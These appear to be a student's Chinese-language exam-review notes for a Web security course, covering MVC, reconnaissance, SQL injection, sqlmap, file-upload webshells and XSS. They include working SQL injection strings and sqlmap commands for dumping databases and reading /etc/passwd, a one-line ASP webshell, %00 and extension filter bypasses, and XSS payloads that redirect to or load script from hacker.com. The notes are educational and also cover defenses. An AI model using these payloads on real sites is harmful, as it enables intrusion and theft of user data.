本文用来记录Web安全的复习资料,大部分内容都是从老师ppt的复习范围中节选的,可能不太全,经过考试的心得:有时间的可以多看看,考的比较杂啥都有,但是SQL注入、XSS、文件上传漏洞是重中之重。有需要word版可以去下载资源或者找我要(简介是QQ)。
题型:
选择题:10分(10个)
填空题:20分(10个)
简答题:30分(6个)
综合分析题:40分(4个)
模型-视图-控制器模式,也称为MVC模式(Model View Controller)。用一种业务逻辑、数据、界面显示分离的方法组织代码,将业务逻辑聚集到一个部件里面,在改进和个性化定制界面及用户交互的同时,不需要重新编写业务逻辑。MVC被独特的发展起来用于映射传统的输入、处理和输出功能在一个逻辑的图形化用户界面的结构中。
它把软件系统分为三个基本部分:
模型(Model) :负责存储系统的中心数据。
视图(View)︰将信息显示给用户(可以定义多个视图)。
控制器(Controller):处理用户输入的信息。负责从视图读取数据,控制用户输入,并向模型发送数据,是应用程序中处理用户交互的部分。负责管理与用户交互交互控制。
视图和控制器共同构成了用户接口。且每个视图都有一个相关的控制器组件。控制器接受输入,通常作为将鼠标移动、鼠标按钮的活动或键盘输入编码的时间。时间被翻译成模型或试图的服务器请求。用户仅仅通过控制器与系统交互。
MVC重要特点就是两种分离:
视图和数据模型的分离:使用不同的视图对相同的数据进行展示;分离可视和不可视的组件,能够对模型进行独立测试。因为分离了可视组件减少了外部依赖利于测试。(数据库也是一种外部组件)
视图和表现逻辑(Controller)的分离:Controller是一个表现逻辑的组件,并非一个业务逻辑组件。MVC可以作为表现模式也可以作为建构模式,意味这Controller也可以是业务逻辑。分离逻辑和具体展示,能够对逻辑进行独立测试。
**优点:**耦合性低;重用性高;生命周期成本低;部署块;可维护性高;有利软件工程化管理。
**缺点:**没有明确的定义;不适合小型,中等规模的应用程序;增加系统结构和实现的复用性;视图与控制器间的过于紧密的连接;视图对模型数据的低效率访问;一般高级的界面工具或构造器不支持模式。
Web信息收集(探测)即Web踩点,主要是掌握Web应用的信息,是实现Web渗透入侵的前提。
Web踩点内容包括操作系统、服务器类型、数据库类型、Web容器、Web语言、域名信息、网站目录等。
Web信息收集,按照工具和问题,可划分为:搜索引擎、网站扫描、域名遍历、指纹识别等。
常用搜索引擎:Google Hacking、Shodan Hacking、Zoomeye Hacking。
Google Hacking 限定搜索域名 使用site来拼接字符串
“Web安全” site:zhihu.com
Web漏洞扫描是在Web信息搜集的基础上,进行更进一步的自动化的安全评估、漏洞挖掘、渗透测试。
Web漏洞扫描能让我们进一步挖掘目标服务器潜在的sal注入、XSS跨站脚本攻击、csrf跨站请求伪造等漏洞。
Web漏扫虽然能够帮助我们快速的实现自动化漏洞渗透,但是并不是全能的,也会出现误报,需要手工结合。未经授权对目标服务器/应用进行渗透测试,本质上就是一种攻击行为,若对目标业务造成影响,可能会有法律职责。
国外的漏洞扫描工具:
商业漏洞扫描工具:Burp Suite、AWVS、APPScan;
开源扫描漏洞工具:ZAP(OWASP)、w3af;
国内的漏洞扫描工具:
Safe3 WVS、JSKY、RASA-绿盟远程安全评估系统;
Burp Suite
java环境;应用广泛,有漏洞扫描,也有利用插件;功能:代理、爬虫、扫描、入侵等。
SQL注入就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
对于Web应用程序而言,用户核心数据存储在数据库中,例如:MySQL、SQL Server、Oracle等,通过SQL注入攻击,可以获取、修改、删除数据库信息,并且通过提权来控制Web服务器等其他操作。
SQL注入事件:CSDN 600万用户信息泄露、社保信息等信息泄露事件。
SQL注入可以做什么? 查询数据库、读写文件、执行命令。
SQL注入分类
以注入位置分类:GET注入、POST注入、Cookie注入、搜索注入;
以参数类型分类:字符注入、数字注入;
以注入技术分类:错误注入、布尔注入、UNION注入、时间盲注(延时注入)、ASCII逐字解码(折半猜解)。
典型的注入流程
判断是否有SQL注入漏洞;
判断操作系统和数据库类型;
获取数据库信息:获取数据库账号信息——管理员信息、获取数据库用户信息——拖库;
加密信息破解;
提升权限:控制服务器、Webshell执行系统命令、后台登录;
内网渗透。
布尔注入思路:闭合SQL语句;构造or或and逻辑语句;注释多余的代码。
常见注入语句:’or 1=1–‘、’admin’ and 1=1–‘、’or’1’=’1。
UNION注入:UNION语句用于联合前面的SELECT查询语句,合并查询更多信息
一股通过错误和布尔注入确认注入点之后,便开始通过UNION语句来获取有效信息。
常见注入语句:’union select null,null—‘。
Information scheme是MySQL自带的数据库,提供了访问数据库源数据的方式。
UNION注入查询数据库:
‘union select 1, table_name from INFORMATIONA_SCHEMA.tables–‘
UNION注入查询表:
‘union select 1, column_name from INFORMATIONA_SCHEMA.columns where table_name=’users’- -‘
UNION注入查询数据值:
‘union select user,password from users–‘
时间盲注:1’ and sleep(2) --‘
自动化SQL注入工具:SQLmap、Havij(胡萝卜)、Pangolin(穿山甲)。
SQLmap简介最强大的SQL注入渗透测试工具:效率,准确性、参数都是最好的。
基于Python编写,跨平台,基于命令行集成从注入探测到漏洞利用的渗透功能。支持常用的SQL注入技术;支持探测DBMS的数据库和账号信息;支持枚举数据库/表/列并导出;支持主流数据库:MySQL,Qracle,SQL Server,Access等;支持WAF/IDS/IPS检查和绕开,采用代理实现隐藏;支持提权操作,进一步与数据库、操作系统进行操作。
SQLmap的常用参数-GET方法注入为例:
-u参数:当注入页面的参数以GET方法发送给服务器,则直接用-u参数,将带有参数的URL发给SQLmap处理。
-p参数:可以手工指定URL中的参数名称
-f参数:给出操作系统和数据库信息
–users:给出当前数据库用户信息
–dbs:给出当前数据库信息
带cookie的注入—POST方法注入为例
设置到带cookie才能访问的注入页面,可以采用r参数实现;
可用burpsuite/tamper等代理工具,拦截POSt请求内容,将内容保存到POST.tst文件中,并请求调用。
数据获取:拖库是如何操作的?
语法:
–users:查看所有管理员账号
–privileges -U user:查看当前账号权限
–dbs:查看所有数据库
–current-db:查看当前使用的数据库
–tables -D “databse”:查看当前数据库的数据表
–columns-T “fields”-D"database":查看此字段内容
–schema -batch -exclude-sysdbs:查看元数据
dump -all保存所有数据到本地
Dump -C “username,password”-T “fields”-D “database”:
保存数据表制定内容到本地
提权操作
文件读写
–file -read="/etc/passwd"
–file - write=“shell.php”
–file -write=“shell.php”-file -dest"tmp/shell.php"
与数据库交互 --sql -shell
与操作系统交互 --os cmd
原理:存储过程,或者用户自定义函数
在MS SQL Server中,存储过程是“xp_cmd-shell"
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。
原理:一旦黑客拿到Webshell,则可以拿到Web应用的数据,删除Web文件,甚至本地提权,进一步拿下整个服务器甚至内网渗透。
SQL注入攻击的对象是数据库服务,文件上传漏洞主要攻击Web服务,实际渗透过程一般结合起来,达到对目标服务的深度控制。
上传Webshell
假如服务器端对用户提交参数或者文件没有进行过滤或者过滤不当能够直接上传WebShell。如果恶意文件如PHP、ASP等执行文件绕过Web应用顺利执行,则相当于黑客拿到了Webshell。
上传了webshell可以干什么?
拿到web应用的数据;删除Web文件;本地提权,进一步拿下整个服务器甚至内网渗透。
文件上传漏洞渗透:上传WebShell(挂马)
小马:一句话木马也称为小马,即整个shell代码量只有一行,一般是系统执行函数。通过精心的(一句话)木马构造,绕过防火墙检测(“过狗”),是渗透测试一个细分领域。
常用的PHP后门函数包括exec、shell_exec、system、eval、assert函数。
一句话木马:黑客在注册信息的电子邮箱或者个人主页等中插入类似如下代码:
<%execute request(“value”)%>知道了URL,就可以利用该网页进行连接得到Webshell。
基于eval函数的木马该函数是国产知名shell管理工具“中国菜刀”所使用的
基于system函数
基于shell_exec函数
基于assert函数
文件上传漏洞渗透:直接上传,漏洞攻击:挂马、上传大文件。
绕过客户端检测上传WebShell,绕过前端限制有n多种方法,最常见的两种方法:直接在浏览器插件通过firebug修改、通过burpsuite直接拦截修改。
服务器绕过:绕过扩展名限制
绕过服务端文件扩展名检测上传WebShell
服务器端文件扩展名检测是利用服务器端应用程序检测用户上传文件的后缀名,从而做出允许或者阻止的一种方法,该方法包含黑名单和白名单两种形式。
黑名单检测:一般是建立一个专门的blacklist文件,里面枚举常见的危险文件后缀。
白名单检测:一般是定义一个允许或者阻止用户上传文件类型的后缀的文件,里面枚举相应的文件后缀。
绕过黑名单检测方法
文件名大小写绕过:诸如AsP、Aspx之类的后缀绕过黑名单检测。
黑名单列表绕过:用黑名单里没有的后缀文件进行攻击,iis默认执行.asp、.asa、.cer,有时候黑名单过滤不全,没有过滤掉像后缀为asa、cer之类的文件,但这些文件可以像asp文件一样执行,此时可以使用这些后缀绕过黑名单。
特殊文件名绕过:比如发送的HTTP包里把文件名改成test.asp. 或test.asp_(下划线为空格),这两种命名方式在windows系统里是不被允许的,所以需要在代理工具burpsuite进行修改,然后绕过验证后,会被windows系统自动去掉后面的点和空格,但注意Unix/Linux系统没有此特性。
0x00截断:在许多语言的常用字符串处理函数中,0x00被认为是终止符,比如应用只允许上传jpg图片,那么可以构造文件名为2.asp%00.jpg,.jpg绕过了应用的上传文件类型判断,但对于服务器来说,此文件因为%00字符截断的关系,最终会以2.asp存入路径里。
绕过白名单检测方法
0x00截断:基于白名单检查主要使用0x00截断绕过,同黑名单0x00截断绕过。
文件上传漏洞防御:
文件类型/大小/后缀检测
Web前端通过Javascript验证:验证文件扩展名,文件大小
Web后端检测MIME类型等:白名单过滤、文件重命名、文件大小
最小权限运行Web服务
例如用Root权限运行,被拿到Webshell的同时,整个Root权限也直接被拿下
上传文件目录修改权限
不给执行权限,即使上传了木马文件,也无法执行;读写权限分离
安装WAF进入深度检测
类似图片木马,由于写到图片里,并且经过了编码,因而有些WAF也无法检测到
加密狗,阿里云盾,D盾Web查杀,modsecurity
跨站脚本攻击(Cross Site Scripting)是指攻击者利用网站程序对用户输入过滤不足;输入可以显示在页面上对其他用户造成影响的HTML代码;从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
为了与层叠样式表( Cascading Style Sheets)的缩写CSS区分开,跨站脚本攻击通常简写为XSS。
XSS(Cross Site Scripting)跨站脚本攻击是基于客户端的Web攻击,跟SQL注入攻击一样稳居OWASP前三,危害极大。
XSS即攻击者构造脚本(一般是Javascript)到Web页面,受害者通过点击链接即被攻击。
XSS攻击点一般出现在网页中的评论框、留言板、搜索框等"用户输入"的地方。
XSS漏洞形成主要是Web服务端没有对脚本文件如
用户访问该链接http://172.16.70.214
用户被HOOK到172.16.70.216:3000/hook.js
DOM型XSS是通过修改页面DOM节点数据信息而形成的XSS跨站脚本攻击。
不同于反射型XSS和存储型XSS,基于DOM的XSS跨站脚本攻击往往需要针对具体的Javascript DOM代码进行分析,并根据实际情况进行XSS跨站脚本攻击的利用。
查看响应页面是否包含能够操作DOM节点的js函数,常见此类函数如下:
document.location:返回一个 Location 对象,包含有文档的 URL 相关的信息,并提供了改变该 URL 和加载其他 URL 的方法。
document.URL、document.URLUnencoded、document.referrer、window.location逐项查找响应页面中包含上述函数的代码,确定该部分代码如何处理用户可控制数据。
手工XSS渗透:常用HTML标签;常用的JavaScript方法Alert、Windows.location、Location.href、Onload:当页面载入完毕后执行Javascript代码、Onsubmit:在表单提交时触发、Onerror:在视频/音频(audio/video)数据加载期间发生错误时触发。
构造XSS脚本:
弹框警告:
<script>alert(‘xss’)</script>
<script>alert(document.cookie)</script>
在浏览器的地址栏输入:javascript:alert(document.cookie) (不区分大小写),就会弹出你在当前网页登录的cookie信息。
页面嵌套:
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
页面重定向:
<script>window.location=“http://hacker.com”</script>
<script>location.href=“http://hacker.com”</script>
弹框警告并重定向:可用于克隆网站收集账户
<script>alert(“请移步到我们的新站”);window.location=“http://hacker.com”</script>
访问恶意代码:
<script src=“http://www.hacker.com/xss.js”><<